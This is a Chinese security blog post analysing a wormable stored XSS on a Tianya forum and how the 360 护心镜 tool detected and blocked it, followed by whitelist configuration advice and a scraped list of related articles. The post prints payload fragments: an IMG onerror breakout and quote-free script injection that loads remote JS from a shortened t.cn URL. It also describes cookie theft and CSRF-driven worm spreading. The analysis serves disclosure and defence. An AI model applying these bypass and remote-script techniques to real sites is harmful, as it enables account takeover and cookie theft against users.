某大型网络社区传播性XSS分析
某大型网络社区传播性XSS分析
这个XSS存在于天涯某个不起眼的子论坛,通过发布新帖子可以触发。

漏洞分析
论坛针对XSS有一定过滤措施,例如转义单双引号,过滤左右尖括号等等。所以一般的XSS盲注是没有作用的。
突破点在于发帖时会有一个上传网络图片的功能。

上传后,图片会显示在帖子正文,即图片的URL会直接出现在IMG是SRC中。由于论坛过滤了尖括号,所以并不能突破IMG标签的限制,所以只能在标签内做一些动作了。如果论坛对双引号检查不严格的话,可以用以下思路突破src的双引号包裹,使用onerror/onload等事件来执行任意js代码。

如上图所示,前端做了验证,没有关系,通过Burpsuite来修改请求。

发现虽然代码成功插入,但是JS执行失败,因为第一个双引号被斜杠转义了,图片加载失败,所以onload事件没有触发,改用onerror即可,如下图所示:

如果我们要真正的去做些事情,光弹个框框是不够的,需要引入一个远程js文件。于是payload中的alert(1)得替换成
s=document.createElement(“script”);s.src=”http://t.cn/?xxx”;//为了缩短payload长度,js的 URL使用了微博短网址进行了压缩。document.body.appendChild(s)
这样就可以动态创建script标签引入外部js了。可是直接这样写会失败的,别忘了论坛转义了单双引号,所以将上面代码稍作变化
s=document.createElement(document.head.children.tagName);//document.head.children页面中固有的script标签。避免使用引号s.src=String.fromCharCode(104)+String.fromCharCode(116) ... ...;//网址使用ascii的形式转化。避免使用引号。document.body.appendChild(s)
查看下Cookie,几乎可以登录所有分站。

所以偷Cookie可能是黑客们最擅长的了,国内的各种XSS平台都有现成的接口。
另外还可以做些什么呢,我们可以构造请求去各个板块发帖,看到帖子的用户点击进入了XSS页面,又会在不知情的情况下用自己的账户转发评论去诱骗更多的用户,受害者会以指数型增长,黑客收获的Cookie数量也会以指数增长。
通过构造以下XSS代码,就可以让中招用户在指定板块发帖,或者回复某人。如果是大V中招发帖,传播量肯定惊人。


也可以让对方自动加你为好友,这样你以后发任何状态对方都可以看到,不经意间你就变成“大V”了:

当然也让对方在自己的微博中发表一些状态、评论,传播作用非常棒。


以上这一切,都是静默操作的,中招用户并不知情。
当黑客控制了如此多的用户账户以及他们的Cookie,就可以做些能够变现的事情了。例如可以批量发送广告、SEO、贩卖用户个人资料,甚至是DDoS
漏洞捕获
类似上面的案例在360护心镜告警平台中捕获了很多,通过分析告警内容,站长们几乎都在第一时间得知并修复了漏洞。

上图即为本次事件的告警内容,从中可以解读出很多信息。从告警类型可以看出是由于网页调用了来自第三方的不明脚本。event_stack依据事件顺序记录了网页的行为。引发告警的位置就在于“创建SCRIPT标签|设置Script标签的SRC属性为:http://t.cn/XXXX”,访问http://t.cn/XXXX,内容如下:

正如上面分析的一样,黑客偷取并维持了受害用户的Cookie,然后调用了一个评论接口,通过CSRF的方式在用户不知情的情况下自动发表了一些评论,宣传了一个网址。
截至漏洞修复,该XSS页面已有百余次访问量,但是通过Google搜索,发现没有一个用户因此中招,因为站长在配置护心镜的时候使用了默认阻断的模式,恶意js并没有执行,因此本次安全事件中没有造成实质性危害。

360护心镜目前有6个插件,分别对抗6种不同的XSS攻击,在本次事件中立功的是“第三方资源探测”插件。

说起这个插件真是让人喜忧参半,因为它的“误报”比较高,分析原因有两方面:
1.浏览器广告插件与运营商篡改流量
在写这个插件之前,我只想安安静静的防止XSS乱入,但没有意识到国内前端环境如此复杂。当告警显示页面中有未经允许的远程js插入,而原始页面中并没有找到该js代码。分析js文件,往往发现是赤裸裸的广告。究其原因,应该是用户系统中安装的程序向浏览器中植入了广告插件。你可以在地址栏中输入
chrome://plugins/
检查下这些插件是不是你正常安装的。
还有就是部分地区的运营商为了增加收入,直接劫持流量,在网页中植入了广告代码导致了护心镜的“误判”。
所以,想知道有哪些没节操的运营商和插件在劫持流量,也不妨可以尝试护心镜的这个功能。
2.错误的白名单配置
配置护心镜就像谈恋爱一样,你需要把一个放纵不羁爱自由的姑娘调教成贤妻良母。
白名单是护心镜判断XSS的重要依据,如果配置不好则会有大量误报,如果处理方式再配置成阻断模式,则会影响页面正常功能。

需要配置成白名单的域名通常归类为:
Js、CSS、图片等静态媒体文件的域名。
iframe资源的域名。
广告功能所用域名
统计功能所用域名
Web在线聊天功能所用域名
微博等推广功能所用域名
在刚刚引入护心镜时候,建议将“危险处理方式”设置为“放行”,

这样即便是配置错误,也不会影响页面的正常运行。同时注意告警,如果发现误报,将引起误报的第三方域名加入白名单即可。这样经过短期“调教”后,则可以设置为阻断模式。
注:文章相关内容为天涯工作人员授权公开。
上一页
某大型网络社区传播性XSS分析的更多相关文章
- XSS分析及预防
XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...
- XSS分析及预防(转)
阅读目录 XSS的种类和特点 XSS预防 总结 XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏 ...
- XSS分析及如何预防
XSS分析及如何预防 简单说明: XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开 ...
- 查找“CDN、负载均衡、反向代理”等大型网络真实IP地址的方法
首先,CDN.负载均衡.反向代理还分为很多层,有时查出来的是最外层的 CDN 服务器群,真实的机器是不对外开放的,类似这样的: 用户 → CDN 网络 → 一台或多台真实机器 ↗ CDN Server ...
- 关于spring 事物传播性的研究
spring的一大特色就是数据库事务管理方便,我们在代码中编写代码时,看不到事务的使用,关键是spring 使用了AOP进行事务拦截. 这篇文章主要介绍spring的事务传播性. 1.为什么要 ...
- NS2仿真:两个移动节点网络连接及协议性能分析
NS2仿真实验报告2 实验名称:两个移动节点网络连接及协议性能分析 实验日期:2015年3月9日~2015年3月14日 实验报告日期:2015年3月15日 一.实验环境(网络平台,操作系统,网络拓扑图 ...
- 2018-2019 20165237网络对抗 Exp4 恶意代码分析
2018-2019 20165237网络对抗 Exp4 恶意代码分析 实验目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后 ...
- 2018-2019 20165235 网络对抗 Exp4 恶意代码分析
2018-2019 20165235 网络对抗 Exp4 恶意代码分析 实验内容 系统运行监控 使用如计划任务,每隔一分钟记录自己的电脑有哪些程序在联网,连接的外部IP是哪里.运行一段时间并分析该文件 ...
- Spring事务的5种隔离级别和7种传播性
隔离级别 isolation,5 种: ISOLATION_DEFAULT,ISOLATION_READ_UNCOMMITTED,ISOLATION_READ_COMMITTED,ISOLATION_ ...
随机推荐
- Cron表达式简单的介绍
1.Cron是什么,用来做什么的 根据百度百科的解释:计划任务,是任务在约定的时间执行已经计划好的工作,这是表面的意思.在Linux中,我们经常用到 cron 服务器来完成这项工作.cron服务器可以 ...
- Divisibility by 25 CodeForces - 988E(模拟)
遇见模拟题 有两种做法 例如这题: 1.直接去算次数(统计哪个数在第几位,然后去运算) 2.模拟操作 贴一个别人的代码...https://blog.csdn.net/weixin_39453270/ ...
- 【刷题】UOJ #207 共价大爷游长沙
火车司机出秦川,跳蚤国王下江南,共价大爷游长沙.每个周末,勤劳的共价大爷都会开车游历长沙市. 长沙市的交通线路可以抽象成为一个 \(n\) 个点 \(n−1\) 条边的无向图,点编号为 \(1\) 到 ...
- 关于Swift中的泛函数find的问题
对于一个数组Array,我们往往需要判断其是否包含某个子项,又或者要查找某个子项是否在这个数组中. 假设有这样一个包含坐标的数组 var pointArray:[CGPoint] = [CGPoint ...
- Mybatis笔记八:MyBatis中#{}和${}的区别
先给大家介绍下MyBatis中#{}和${}的区别,具体介绍如下: 1. $将传入的数据直接显示生成在sql中 2. #方式能够很大程度防止sql注入. 3.$方式无法防止Sql注入. 4.$方式一般 ...
- 【BZOJ4025】二分图(线段树分治,并查集)
[BZOJ4025]二分图(线段树分治,并查集) 题面 BZOJ 题解 是一个二分图,等价于不存在奇环. 那么直接线段树分治,用并查集维护到达根节点的距离,只计算就好了. #include<io ...
- 【bzoj1937】 Shoi2004—Mst 最小生成树
http://www.lydsy.com/JudgeOnline/problem.php?id=1937 (题目链接) 题意 一个无向图,给出一个生成树,可以修改每条边的权值,问最小修改多少权值使得给 ...
- 《Linux内核设计与实现》学习总结 Chap18
一.准备开始 1.一个确定的bug,但大部分bug通常都不是行为可靠且定义明确的. 2.一个藏匿bug的内核版本. 3.相关内核代码的知识和运气. 二.内核中的bug 1.bug的表象: 明白无误的错 ...
- 安装配置openstack-dashboard(horizon)
这里把dashboard安装在controller节点上. 1.安装程序包 # yum install -y openstack-dashboard 2.修改配置文件 # vim /etc/opens ...
- VS2010 重命名文件:源文件名和目标文件名相同 的解决方案
想要在“”解决方案资源管理器“”中修改一个已经写好的文件的文件名,如图: 在改了几次后就出现了如图的问题: 然而在“解决方案资源管理器”中并没有看到,于是我打开了工程在磁盘中的位置文件夹: 意外发现了 ...